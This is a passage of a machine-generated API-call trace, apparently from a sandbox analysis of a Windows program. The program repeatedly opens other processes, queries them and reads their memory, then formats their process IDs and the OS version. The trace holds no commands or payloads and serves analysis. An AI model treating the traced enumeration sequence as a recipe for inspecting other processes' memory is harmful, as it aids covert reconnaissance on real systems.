ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.237] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4918f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.238] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.240] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.240] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e6020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.240] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.240] malloc (_Size=0x64) returned 0x196ef0d0370 [0297.240] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491954, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0297.241] free (_Block=0x196ef0d0370) [0297.242] CloseHandle (hObject=0x464) returned 1 [0297.243] _ui64tow_s (in: _Value=0xef4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3828") returned 0x0 [0297.248] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3828") returned 4 [0297.250] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.250] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.276] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x464 [0297.276] GetLastError () returned 0x0 [0297.277] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.277] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ed018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.279] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.280] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.281] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ed020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.281] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.281] malloc (_Size=0x68) returned 0x196ef0d0530 [0297.281] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511958, lpBuffer=0x196ef0d0530, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0297.282] free (_Block=0x196ef0d0530) [0297.282] CloseHandle (hObject=0x464) returned 1 [0297.283] _ui64tow_s (in: _Value=0xefc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3836") returned 0x0 [0297.288] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3836") returned 4 [0297.289] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.290] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.307] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xefc) returned 0x464 [0297.307] GetLastError () returned 0x0 [0297.323] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.323] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a18f8, lpBuffer=0x670f7c2b0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.325] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.327] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.327] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.327] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.327] malloc (_Size=0x86) returned 0x196ef0fa9f0 [0297.327] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1976, lpBuffer=0x196ef0fa9f0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa9f0*, lpNumberOfBytesRead=0x0) returned 1 [0297.328] free (_Block=0x196ef0fa9f0) [0297.329] CloseHandle (hObject=0x464) returned 1 [0297.330] _ui64tow_s (in: _Value=0xf0c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3852") returned 0x0 [0297.335] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3852") returned 4 [0297.336] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.336] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.355] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0c) returned 0x464 [0297.355] GetLastError () returned 0x0 [0297.356] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.356] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x365018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.356] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.356] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.356] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.358] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.360] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.360] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x365020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.360] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.360] malloc (_Size=0x60) returned 0x196ef0d0370 [0297.360] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1950, lpBuffer=0x196ef0d0370, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0297.361] free (_Block=0x196ef0d0370) [0297.362] CloseHandle (hObject=0x464) returned 1 [0297.363] _ui64tow_s (in: _Value=0xf18, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3864") returned 0x0 [0297.369] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3864") returned 4 [0297.383] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.383] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.399] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf18) returned 0x464 [0297.399] GetLastError () returned 0x0 [0297.400] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.400] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.400] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.400] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.400] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1958, lpBuffer=0x670f7c2b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.405] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.406] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.407] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.407] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1340, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.407] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0297.407] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d19be, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.408] free (_Block=0x196ef0d31b0) [0297.409] CloseHandle (hObject=0x464) returned 1 [0297.409] _ui64tow_s (in: _Value=0xf20, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0297.414] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3872") returned 4 [0297.415] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.415] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.445] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0x464 [0297.445] GetLastError () returned 0x0 [0297.446] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.446] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.446] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.446] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.446] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x670f7c2b0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.448] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.449] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.449] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.449] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.450] malloc (_Size=0x62) returned 0x196ef0d0370 [0297.450] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481952, lpBuffer=0x196ef0d0370, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0297.451] free (_Block=0x196ef0d0370) [0297.451] CloseHandle (hObject=0x464) returned 1 [0297.452] _ui64tow_s (in: _Value=0xf30, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0297.456] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3888") returned 4 [0297.458] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.458] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.474] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x464 [0297.474] GetLastError () returned 0x0 [0297.475] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.475] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.475] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.476] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.476] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.477] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.478] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.478] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.479] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.479] malloc (_Size=0x60) returned 0x196ef0d06f0 [0297.479] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1950, lpBuffer=0x196ef0d06f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0297.480] free (_Block=0x196ef0d06f0) [0297.481] CloseHandle (hObject=0x464) returned 1 [0297.482] _ui64tow_s (in: _Value=0xf38, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3896") returned 0x0 [0297.486] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3896") returned 4 [0297.488] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.488] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf38) returned 0x464 [0297.504] GetLastError () returned 0x0 [0297.505] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.506] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.507] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.508] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.508] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.508] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.509] malloc (_Size=0x82) returned 0x196ef0fa4e0 [0297.509] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1972, lpBuffer=0x196ef0fa4e0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa4e0*, lpNumberOfBytesRead=0x0) returned 1 [0297.510] free (_Block=0x196ef0fa4e0) [0297.511] CloseHandle (hObject=0x464) returned 1 [0297.511] _ui64tow_s (in: _Value=0xf48, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0297.516] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3912") returned 4 [0297.517] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.517] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x464 [0297.552] GetLastError () returned 0x0 [0297.552] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.552] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, 